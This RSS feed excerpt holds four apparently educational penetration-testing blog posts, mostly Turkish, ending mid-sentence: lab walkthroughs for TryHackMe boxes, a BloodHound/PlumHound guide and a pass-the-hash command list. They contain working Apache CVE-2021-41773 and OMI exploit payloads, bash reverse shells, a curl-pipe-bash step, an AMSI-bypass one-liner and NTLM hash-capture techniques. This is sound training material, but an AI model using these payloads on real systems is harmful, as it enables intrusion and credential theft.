<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Jessy De Taranto on Medium]]></title>
        <description><![CDATA[Stories by Jessy De Taranto on Medium]]></description>
        <link>https://medium.com/@cesidt?source=rss-923727341c10------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ENQU05PbZuRmmfaT9WbGEw.jpeg</url>
            <title>Stories by Jessy De Taranto on Medium</title>
            <link>https://medium.com/@cesidt?source=rss-923727341c10------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 17:52:59 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@cesidt/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Oh My WebServer!]]></title>
            <link>https://cesidt.medium.com/oh-my-webserver-37d9c31481b8?source=rss-923727341c10------2</link>
            <guid isPermaLink="false">https://medium.com/p/37d9c31481b8</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[apache]]></category>
            <dc:creator><![CDATA[Jessy De Taranto]]></dc:creator>
            <pubDate>Sun, 06 Mar 2022 22:58:48 GMT</pubDate>
            <atom:updated>2022-03-06T22:58:48.170Z</atom:updated>
            <content:encoded><![CDATA[<p>Uzun zamandır write-up yazmadığımı fark eden ekip arkadaşlarıma gelsin. :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/468/1*joAZSCuU6b4WyQZ8fnverQ.png" /></figure><p>Bugün Apache LFI to RCE zafiyeti üzerinden shell aldığımız container’dan OMI Servisinde bulunan kritik zafiyeti istismar ederek kaçışımızı anlatıyoruz.</p><p>Makineye erişmek için: <a href="https://tryhackme.com/room/ohmyweb">https://tryhackme.com/room/ohmyweb</a></p><p>Başlamadan önce not olarak komutlarda bulunan IP’leri belirtelim:</p><ul><li>Makine IP: 10.10.137.153</li><li>Kali IP: 10.11.29.79</li></ul><p>Önden klasik hareketimizi yapıyoruz:</p><pre>nmap 10.10.137.153 -T4 -sV --open</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*u4IVB8gLIa1nT2xNgkpxZQ.png" /></figure><p>Apache 2.4.49 dediğimizde akıllara hemen CVE-2021–41773 gelmeli. İstismar etmenin yolunu ayrıca bu kutudan öğrenebilirsiniz: <a href="https://tryhackme.com/room/cve202141773">https://tryhackme.com/room/cve202141773</a></p><p>Hemen klasik payloadı gönderip bir kontrol ediyorum:</p><pre>curl -v &#39;<a href="http://10.10.137.153/bin/bash">http://10.10.137.153/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash</a>&#39; -d &#39;echo Content-Type: text/plain; echo; cat /etc/passwd&#39; -H &quot;Content-Type: text/plain&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*DsbTcVPgdbFpO_O-l7DZTQ.png" /></figure><p>Madem zafiyetli, reverse shellimizi açalım ama öncesinde listener’ımızı da açmayı unutmayalım:</p><pre>1. term:</pre><pre>nc -lvnp 4444</pre><pre>2.term:</pre><pre>curl -v &#39;<a href="http://10.10.137.153/bin/bash">http://10.10.137.153/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash</a>&#39; -d &#39;echo; bash -i &gt;&amp; /dev/tcp/10.11.29.79/4444 0&gt;&amp;1&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MtE1yagOQGtyXvpMjJSyBg.png" /></figure><p>Not: Manual sevmeyenlere scripti de var elbet: <a href="https://www.exploit-db.com/exploits/50383">https://www.exploit-db.com/exploits/50383</a> Bunu kullanmak için targets.txt dosyasına IP’leri koyuyorsunuz, syntax:</p><pre>1.term:<br>nc -lvnp 1234</pre><pre>2.term:<br>bash exploit.sh targets.txt /bin/sh &quot;bash -c &#39;bash -i &gt;&amp; /dev/tcp/KALİ_IP/1234 0&gt;&amp;1&#39;&quot;</pre><p>Shell açınca root değilseniz ilk yapmanız gereken whoami yazmak değil, vazgeçilmezimiz olan linpeas’i yollamak olmalı:</p><p><a href="https://github.com/carlospolop/PEASS-ng/releases/tag/20220306">Release Release refs/heads/master 20220306 · carlospolop/PEASS-ng</a></p><p>linpeas.sh’ı transfer etmek için;</p><pre>Kali&#39;de transfer dizininde:<br>python3 -m http.server 80</pre><pre>Server:<br>(wget yoktu, curl ile çektik)<br>curl <a href="http://10.11.29.79/linpeas.sh">http://10.11.29.79/linpeas.sh</a> -o linpeas.sh<br>chmod +x linpeas.sh<br>./linpeas.sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*EMty_8Qan9HlMj8Whu-OSQ.png" /></figure><p>Çıktıyı incelerken Capabilities’de bir Privilege Escalation yöntemi olduğunu gördük. El ile doğrulamak için ayrıca şu komutu da çalıştırabilirsiniz:</p><pre>getcap -r / 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*ann0vv2cLTa5tS4aZS8QWg.png" /></figure><p>Google’a koşalım: <a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities">https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*1807PyH7INJwL3hkIgM0rA.png" /></figure><p>Örnekten yola çıkarak python3&#39;e uyarlayalım:</p><pre>python3 -c &#39;import os; os.setuid(0); os.system(&quot;/bin/bash&quot;)&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*tKb_hzm4QPUv_hTdzc2ZTg.png" /></figure><pre>cat /root/user.txt</pre><p>Shellimizi düzeltip öyle devam edelim, zaten içeride python3 olduğunu biliyoruz:</p><pre>export TERM=xterm</pre><pre>python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><pre>- CTRL+Z -</pre><pre>stty raw -echo ; fg</pre><pre>- enter -</pre><pre>reset</pre><p>Burada bitmedi tabii, <em>find / -name root.txt 2&gt;/dev/null</em> yaptığımda root.txt çıkmadı. Bir de linpeas çıktısında (aşağıdaki gibi) network ilgi çekiciydi. (Not: localhost’ta çalışan başka bir şey yoktu.) Demek ki buradan çıkıp farklı bir bölgeye sıçramamız gerekiyor. Ne yapalım?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*3OOZdUaFbnpwxmSbCF8kgw.png" /></figure><p>Klasik yol: Karşıya hazır çalışabilen nmap transfer edip hem localde hem de başka seçenek yoksa gateway üzerinde (burada 172.17.0.1 oluyor) portscan yapmakta fayda var. Uzun iş seviyorum derseniz bu shell’i meterpreter’a çekip portscan de yapılabilir.</p><p>Nmap: <a href="https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap">https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap</a></p><p>Karşıya nmap yükleyelim, http.server başlattığım dizinde zaten var:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*cTIyh87IYh9XaF1OZ5j6Xg.png" /></figure><pre>curl <a href="http://10.11.29.79/nmap">http://10.11.29.79/nmap</a> -o nmap</pre><pre>chmod +x nmap</pre><pre>./nmap -p- 172.17.0.1 -vv</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OdrYgJpikgLjGhVZ1ILyYA.png" /></figure><p>5986 da defaultta neymiş bir bakalım. Google! <a href="https://book.hacktricks.xyz/pentesting/5985-5986-pentesting-omi">https://book.hacktricks.xyz/pentesting/5985-5986-pentesting-omi</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*UJC_kUHHikEhqzt6Gsy12g.png" /></figure><p>OMI, Microsoft tarafından uzaktan konfigürasyon yapmaya yardımcı bir tool. Default olarak 5985 ile 5986&#39;da çalışıyor. Ve uzak değil 2021&#39;de RCE’si çıkmış: <a href="https://github.com/horizon3ai/CVE-2021-38647">https://github.com/horizon3ai/CVE-2021-38647</a></p><p>Klasik kullanımı şu şekilde: python3 omigod.py -t 10.0.0.5 -c id</p><p>Tabii biz shell açalım. OMI Root yetkileriyle çalıştığı için biz neyi çalıştırmasını istersek onu root olarak çalıştıracak. Exploit için şu adımlar yeterli:</p><pre>1- Kali: nc -lvnp 2904</pre><pre>2- Kali: echo &#39;bash -i &gt;&amp; /dev/tcp/10.11.29.79/2904 0&gt;&amp;1&#39; &gt; omi.sh</pre><pre>3- Kali: python3 -m http.server 80</pre><pre>4- Karşıda: curl <a href="http://10.11.29.79/omigod.py">http://10.11.29.79/omigod.py</a> -o omi.py</pre><pre>5- Karşıda: python3 omi.py -t 172.17.0.1 -c &quot;curl <a href="http://10.11.29.79/omi.sh">http://10.11.29.79/omi.sh</a> | bash&quot;</pre><pre>6- cat /root/root.txt</pre><pre>7- Terminate machine. ggwp.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M3Zv1CyQNu-zVYJqSp7EYA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/343/1*I_zLRBwvpFVs7iKXE-nxjA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=37d9c31481b8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BloodHound + PlumHound = ❤]]></title>
            <link>https://cesidt.medium.com/bloodhound-plumhound-bbd5f8a60f00?source=rss-923727341c10------2</link>
            <guid isPermaLink="false">https://medium.com/p/bbd5f8a60f00</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[plumhound]]></category>
            <category><![CDATA[sharphound]]></category>
            <category><![CDATA[bloodhound]]></category>
            <dc:creator><![CDATA[Jessy De Taranto]]></dc:creator>
            <pubDate>Tue, 24 Aug 2021 14:27:58 GMT</pubDate>
            <atom:updated>2021-08-24T14:27:58.653Z</atom:updated>
            <content:encoded><![CDATA[<p>BloodHound is a graphical tool both attackers and defenders use to reveal secrets and hidden relationships within an Active Directory environment. In this case, though BloodHound is used for identifying and eliminating attack paths for Blue Teams, it is also used by Red Teams and malicious APT groups to discover hidden tracks for lateral movement in an Active Directory domain.</p><h3>1. SharpHound</h3><p>In order to graph data via BloodHound, SharpHound should be executed on the victim machine for data collection regarding the information in an Active Directory domain. SharpHound is the official data collector for BloodHound and can be found as both in PowerShell script and C# (compiled to .exe).</p><p>Without any flags given to SharpHound, the information below can be collected into a zip file:</p><ul><li>Security group memberships</li><li>Domain trusts</li><li>Abusable rights on Active Directory objects</li><li>Group Policy links</li><li>OU tree structure</li><li>Several properties from computer, group and user objects</li><li>SQL admin links</li><li>The members of the local administrators, remote desktop, distributed COM, and remote management groups</li><li>Active sessions, which SharpHound will attempt to correlate to systems where users are interactively logged on</li></ul><p>More information can be found in the official document site of BloodHound: <a href="https://bloodhound.readthedocs.io/">https://bloodhound.readthedocs.io/</a></p><p>P.S. Firstly, some AMSI-Bypass won’t hurt if these below don’t work. Check out <a href="https://amsi.fail/">https://amsi.fail/</a> and my teammate F’s fav (Hey <a href="https://github.com/ZemarKhos">ZemarKhos</a> 🙌):</p><pre>$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like “*iUtils”) {$c=$b}};$d=$c.GetFields(‘NonPublic,Static’);Foreach($e in $d) {if ($e.Name -like “*Context”) {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)</pre><p>Method 1: SharpHound can be downloaded on the attacker machine as “SharpHound.ps1”, imported and executed with the Collection Method of “all” for the most information about the domain.</p><pre>powershell -ep bypass</pre><pre>. .\Sharphound.ps1</pre><pre>Invoke-Bloodhound -CollectionMethod All -Domain &lt;DOMAIN_NAME&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*05bybHPY_jnP9ojrz3Sm2w.png" /></figure><p><strong>Method 2: </strong>SharpHound can be downloaded and executed in the victim machine with an example oneliner below:</p><pre>powershell -ep bypass &quot;IEX(New-Object Net.Webclient).DownloadString(&#39;<a href="https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1">https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1</a>&#39;);Invoke-Bloodhound&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lvhkqx_txs5xrqvXbo1M5g.png" /></figure><p>The output zip file should be uploaded to the attacker machine for further investigation of the related domain.</p><h3>2. BloodHound</h3><p>The output zip file which was downloaded earlier should be imported to BloodHound. BloodHound can be downloaded in Linux machines with the commands below:</p><pre>apt install bloodhound</pre><pre>neo4j console  // Open the console on your browser.</pre><pre>   username: neo4j</pre><pre>   password: neo4j  // Asks you to change the password.</pre><pre>bloodhound</pre><pre>   username: neo4j</pre><pre>   password: &lt;new password&gt;</pre><p>The output zip file can be imported from “Upload Data” button on the right of the BloodHound GUI screen.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/138/1*O0W1AmzijttVCkl7LQkMSA.png" /></figure><p>After the upload completes, pre-build queries and their graphs can be observed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/343/1*cbkA-Ix9q136zi0Jf6PO8w.png" /></figure><p>An example from the demonstration can be seen below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*MaNK5SSCBKdCepJKuQ8UdQ.png" /></figure><h3>3. PlumHound</h3><p>Although BloodHound is a powerful tool to graph Active Directory, it can be mind-bending to correlate between information on maps of large networks… like, you know... like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/383/1*qdxB7QL1YTTrwTd7j9sRZQ.png" /></figure><p>To end the confusion over graphs, a new tool was introduced: PlumHound. PlumHound, which was essentially written for Blue and Purple Teams, operates by wrapping BloodHoundAD’s Neo4J backend cipher queries into reports. Blue and Purple Teams can identify and harden Active Directory configuration vulnerabilities by analyzing the output reports of PlumHound.</p><p>A collection output of SharpHound and an operating BloodHound should be active to generate reports with PlumHound. Installation and usage can be found below:</p><pre>git clone <a href="https://github.com/PlumHound/PlumHound">https://github.com/PlumHound/PlumHound</a></pre><pre>apt-get install python3</pre><pre>cd PlumHound</pre><pre>pip3 install -r requirements.txt</pre><pre>python3 PlumHound.py -x tasks/default.tasks -s &quot;bolt://127.0.0.1:7687&quot; -u &quot;neo4j&quot; -p &quot;&lt;password&gt;&quot; -v 0 --HTMLCSS template/html.css</pre><p>All reports can be accessed from the directory: “PlumHound/reports/Reports.html”</p><p>Reports include (a long list I cannot write!):</p><ul><li>Domain Users</li><li>Domain Controllers</li><li>Kerberoastable Users</li><li>RDPable Servers</li><li>Unconstrained Delegation Computers with SPN</li><li>Admin Groups</li><li>RDPable Groups</li><li>RDPable Groups Count</li><li>LocalAdminGroups</li></ul><p>Screenshots of the report samples from the demonstration can be seen below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/434/1*bE8v_pOJGDljJO-vGF_kOQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*OnJvzig93qwEseE63w-xTw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/404/1*gzSarLRqTyLmhU_RGD3EaQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*dkt0ZNM3DKHPC1_n2FRg0Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/403/1*UaWn36lw7ZOWu_c3FCOzpg.png" /></figure><p>Happy hunting? :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bbd5f8a60f00" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pass the Hash Techniques]]></title>
            <link>https://cesidt.medium.com/pass-the-hash-techniques-92e46f28af89?source=rss-923727341c10------2</link>
            <guid isPermaLink="false">https://medium.com/p/92e46f28af89</guid>
            <category><![CDATA[mimikatz]]></category>
            <category><![CDATA[impacket]]></category>
            <category><![CDATA[pass-the-hash]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Jessy De Taranto]]></dc:creator>
            <pubDate>Fri, 28 May 2021 08:30:42 GMT</pubDate>
            <atom:updated>2021-05-28T08:30:42.550Z</atom:updated>
            <content:encoded><![CDATA[<p>Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls.</p><p>Pass the hash (PtH) is a method of authenticating as a user without having access to the user’s cleartext password but with hash. In this technique, valid password hashes for the account being used are captured using a credential access technique like <em>Mimikatz</em> and <em>hashdump</em>. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.</p><p>Tools such as Mimikatz, CrackMapExec, Evil-Winrm, PSExec, WmiExec, SmbExec and C2 servers such as Empire, Cobalt Strike and Metasploit Framework assist in passing the hash.</p><p>Before using pass the hash technique, NTLM hashes should be collected using credential access techniques such as <em>Mimikatz</em>. From Mimikatz on the target machine, use “<strong><em>sekurlsa::logonpasswords</em></strong>” to collect NTLM hashes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/416/1*TgQSCtisjFQktV0FWf4euA.png" /></figure><p>There are several ways to pass the hash. Some of the techniques can be seen below with their used commands:</p><h4><strong>Mimikatz</strong>:</h4><blockquote><em>sekurlsa::pth /user:Administrator /ntlm:d958f23d92281df0b62a6d7e9f42ee88 /domain:target.local</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*6jkf31FXSLGYLjGdymhAhA.png" /></figure><h4><strong>Impacket-psexec</strong>:</h4><blockquote><em>impacket-psexec “Administrator”:@192.168.43.5 -hashes aad3b435b51404eeaad3b435b51404ee:d958f23d92281df0b62a6d7e9f42ee88</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*Vrmt06JFbwUuXoIiC11GMw.png" /></figure><h4><strong>Impacket-wmiexec</strong>:</h4><blockquote><em>impacket-wmiexec “Administrator”:@192.168.43.5 -hashes aad3b435b51404eeaad3b435b51404ee:d958f23d92281df0b62a6d7e9f42ee88</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*bURTBVSPn5zgNfS5wTEzpw.png" /></figure><h4><strong>Impacket-smbexec</strong>:</h4><blockquote><em>impacket-smbexec “Administrator”:@192.168.43.5 -hashes aad3b435b51404eeaad3b435b51404ee:d958f23d92281df0b62a6d7e9f42ee88</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*sGv-M5Pd1OscGTpWaabVqg.png" /></figure><h4><strong>Metasploit PSExec:</strong></h4><blockquote><em>use exploit/windows/smb/psexec</em></blockquote><blockquote><em>set RHOSTS &lt;IP&gt;</em></blockquote><blockquote><em>set SMBPass &lt;LM:NTLM&gt;</em></blockquote><blockquote><em>set SMBUser &lt;Username&gt;</em></blockquote><blockquote><em>run</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*tsZWmQg6MMAYMSGnf2K3oQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/1*s7mfR_QMgqXjrimaDFqfpw.png" /></figure><h4><strong>Evil-WinRM:</strong></h4><blockquote><em>evil-winrm -i 192.168.43.5 -u Administrator -H d958f23d92281df0b62a6d7e9f42ee88</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/1*BkrHu1NM-ZknhWklNuTFjg.png" /></figure><h4><strong><em>CrackMapExec:</em></strong></h4><blockquote><em>crackmapexec smb 192.168.43.5 -u “Administrator” -H aad3b435b51404eeaad3b435b51404ee:d958f23d92281df0b62a6d7e9f42ee88 -X whoami</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*gdltt9e_UL7NtSE3wUBhNA.png" /></figure><h4><strong>Invoke-TheHash:</strong></h4><blockquote><em>powershell -ep bypass</em></blockquote><blockquote><em>Import-Module ./Invoke-TheHash.psd1</em></blockquote><blockquote><em>Invoke-TheHash -Type SMBExec -Target 192.168.43.5 -Username Administrator -Hash d958f23d92281df0b62a6d7e9f42ee88 -Command &lt;reverse_shell_payload&gt;</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*u3owAW6AUwQpLYcgY2Cs5g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*SrVJgoM5KKGVdr9WFf8aHQ.png" /></figure><h4><strong><em>xFreeRDP:</em></strong></h4><blockquote><em>xfreerdp /u:Administrator /d:target.local /pth: aad3b435b51404eeaad3b435b51404ee:d958f23d92281df0b62a6d7e9f42ee88 /v:192.168.43.9</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=92e46f28af89" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Ra — Windows Active Directory Box]]></title>
            <link>https://cesidt.medium.com/tryhackme-ra-windows-active-directory-box-edbe54bac2cc?source=rss-923727341c10------2</link>
            <guid isPermaLink="false">https://medium.com/p/edbe54bac2cc</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[responder]]></category>
            <category><![CDATA[smbclient]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Jessy De Taranto]]></dc:creator>
            <pubDate>Sat, 30 Jan 2021 13:06:22 GMT</pubDate>
            <atom:updated>2021-01-30T13:20:35.036Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe: Ra — Windows Active Directory Box</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*K3_veUBTEt9WCLFuuYgIfA.png" /></figure><p><a href="https://tryhackme.com/room/ra">https://tryhackme.com/room/ra</a></p><p>Başlamadan önce domaini daha kolay kurcalamak adına /etc/hosts’a IP’si ile windcorp.thm ekliyoruz.</p><p><strong><em>nmap -A -sC -sV windcorp.thm</em></strong></p><p>nmap sorgusunda domain ismi olarak gördüğümüz windcorp.thm’nin “DNS Computer Name” olarak fire.windcorp.thm kullandığını buluyoruz. Dolayısıyla /etc/hosts’a aynı IP ile fire.windcorp.thm ‘u da ekleyelim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*piVCLFk4ls0TMkILAzZYQQ.png" /></figure><p><a href="http://windcorp.thm/">http://windcorp.thm</a> ‘ye bir göz atalım.</p><p>Reset Password bölümünde “pet’s name” (hayvanınızın ismi) diye bir soru var. Ana sayfada da Lily diye bir çalışanın köpeği ile bir fotoğrafını görüyoruz. Fotoğrafı inceleyince aslında reset şifremizi verecek tüyo ile karşılaşmış oluyoruz:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*KzBaHhN1gCmxAS0tZiGkbw.png" /></figure><p>Üste dikkatlice bakın.</p><p>Kullanıcı Adı: lilyle</p><p>Sorunun cevabı olacak evcil hayvanın adı: Sparky</p><p>Şifreyi resetlemek için;</p><p><a href="http://fire.windcorp.thm/reset.asp">http://fire.windcorp.thm/reset.asp</a> kısmına lilyle ve Sparky girmeniz yeterli.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*6JsKBdIejnXEiYyI0vY5ag.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*Z7IR4MVxKJ0cP7JV-fazBA.png" /></figure><p>Reset Password bölümüne girdiğimiz bilgiler ile şifremiz değişiyor.</p><h3><strong>FLAG 1: SMBMAP + SMBCLIENT</strong></h3><p>Nmap çıktılarından (çok uzun, buraya koyamadım ama Kerberos — 88 ve DNS — 53 varsa kesin AD’deyiz, hatta Domain Controllerın kendisi.) ve bu kutunun serisinden de bilineceği üzere Active Directory yapısındayız. Dolayısıyla ilk olarak SMB Share klasörlerine smbmap ile bakalım.</p><p><strong><em>smbmap -H HOST -d DOMAIN -u USER -p PASSWORD</em></strong></p><p><strong><em>smbmap -H windcorp.thm -d windcorp.thm -u lilyle -p &lt;ŞİFRE&gt;</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*8Wr7nkC9Q8DrKrOKVlkWBg.png" /></figure><p>Shared klasörüne Read Only de olsa smbclient ile erişebiliriz.</p><p><strong><em>smbclient //HOST/DIRECTORY/ -U USER — password PASSWORD</em></strong></p><p><strong><em>smbclient //windcorp.thm/Shared/ -U lilyle — password &lt;ŞİFRE&gt;</em></strong></p><p><strong>dir </strong>komutu ile directory list yapınca <strong>Flag1 </strong>karşınıza çıkıyor.</p><p><strong>get </strong>komutu ile bu dosyayı alalım, smbclient’tan çıkalım ve dosyayı açalım.</p><p><strong><em>get “Flag 1.txt”</em></strong></p><p><strong><em>exit</em></strong></p><p><strong><em>cat “Flag 1.txt”</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*DuygBOtVyRkmQMRizJS9Fg.png" /></figure><h3><strong>FLAG 2: RESPONDER</strong></h3><p>smbclient’a tekrardan dönelim çünkü shared dosyasında indirmemiz gereken bir şey daha var: spark.</p><p><strong><em>smbclient //windcorp.thm/Shared/ -U lilyle — password &lt;ŞİFRE&gt;</em></strong></p><p><strong><em>get spark_2_8_3.deb</em></strong></p><p><strong><em>exit</em></strong></p><p><strong><em>dpkg -i spark_2_8_3.deb </em></strong>ile lokalimizde kuruyoruz.</p><p>ya da uğraşmayacaksanız şuradan indirin gitsin: <a href="https://github.com/igniterealtime/Spark/releases/download/v2.8.3/spark_2_8_3.deb">https://github.com/igniterealtime/Spark/releases/download/v2.8.3/spark_2_8_3.deb</a></p><p>dpkg -i spark_2_8_3.deb</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/559/1*akp7sFVqI2k5d8dvbgtYUg.png" /></figure><p>Biraz araştırınca çıkıyor ki Spark bir chat uygulaması. Eskiler bilir, tipi tam da MSN Messenger gibi. Güzel de bir exploiti var:</p><p><a href="https://github.com/theart42/cves/blob/master/cve-2020-12772/CVE-2020-12772.md">https://github.com/theart42/cves/blob/master/cve-2020-12772/CVE-2020-12772.md</a></p><p>Kısaca, biriyle chatleşirken “&lt;img” tag ile bir dış IP (ki bu bizim makinemiz olacak) içeren bir link oluşturup bunu attığımızda Responder ile chat yaptığımız kişinin NTLM hashini toplayabiliyoruz. Not: NTLM hashini kırabilirsek (aslında hiç şifreyi kırmadan direkt hashi de domainde dolaştırabiliriz [pass the hash] ama kırılabilirse ne ala…) gayet sakin sisteme remmina ile RDP kullanarak giriş yapabiliriz.</p><p>Yukarıdaki linkteki PoC’ye göre şöyle bir link chatte tıklanması için yeterli olacak: <strong>&lt;img src=”http://[KALI_IP]/image.jpg&quot;&gt;</strong></p><p>O halde başlayalım. Spark’ı yükleyip açtık zaten. lilyle kullanıcısı ve windcorp.thm domaini ile giriş yapalım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/256/1*7IaUWiz-y7XjAlXyLsVF-Q.png" /></figure><p>Loginde sıkıntı çıkarsa (bende çıktı) Advanced Options’tan şunları işaretleyip tekrar deneyin:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/445/1*acgPeQ8nT0dubvEVYz9hyA.png" /></figure><p>Giriş yaptık:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/314/1*0qrJ_mN7fFYIksNv04ntYw.png" /></figure><p><strong>Responder’ımızla </strong>vaziyet alalım artık.</p><p>Responder öncesi kısa not: TryHackMe’ye hangi interfaceten giriyorsunuz ifconfig komutu ile bir bakın, ona göre Responder çalışmalı. Kali’de genelde tun0&#39;da oluyor.</p><p><strong><em>responder -I tun0 -i &lt;KALI_IP&gt;</em></strong></p><p><strong><em>responder -I tun0 -i 10.9.76.213</em></strong></p><p>Şimdi kime mesaj atıyoruz diye uygulamadan bulamadım, yukarıda linkini de paylaştığım PoC’deki resimde “buse” diye birine mesaj atılmış. Ben de direkt Actions -&gt; Start a Chat -&gt; Buse dedim, chat açıldı. Şimdi Buse’ye mesaj atıp hashleri isteyelim. Aşağıdakini göndermeniz yeterli:</p><p><strong>&lt;img src=”http://[KALI_IP]/image.jpg&quot;&gt;</strong></p><p><strong>&lt;img src=”http://10.9.76.213/image.jpg&quot;&gt;</strong></p><p>Birkaç denemeden sonra Responder’a şöyle bir hash düşecek PoC’deki gibi:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/508/1*MbvBPReTVDD53NPu44hjJw.png" /></figure><p>Gelen hash’i bir txt dosyasına kaydedip john ile kırabiliriz:</p><p><strong><em>john hash.txt — wordlist=/root/rockyou.txt</em></strong></p><p>Şifreyi elde ettiğimize göre remmina ile domainin içine buse olarak girebiliriz.</p><p><strong><em>remmina </em></strong>komutu ile remminayı açalım ve IP’yi girelim.</p><blockquote>user: buse</blockquote><blockquote>password: şifre</blockquote><blockquote>domain: windcorp.thm</blockquote><p><strong>Flag 2 </strong>karşımıza çıkıyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*3Iv9I3sltmBFcuj1d4KsYg.png" /></figure><p>NOT: remmina gibi RDP kullanmak yerine<strong> 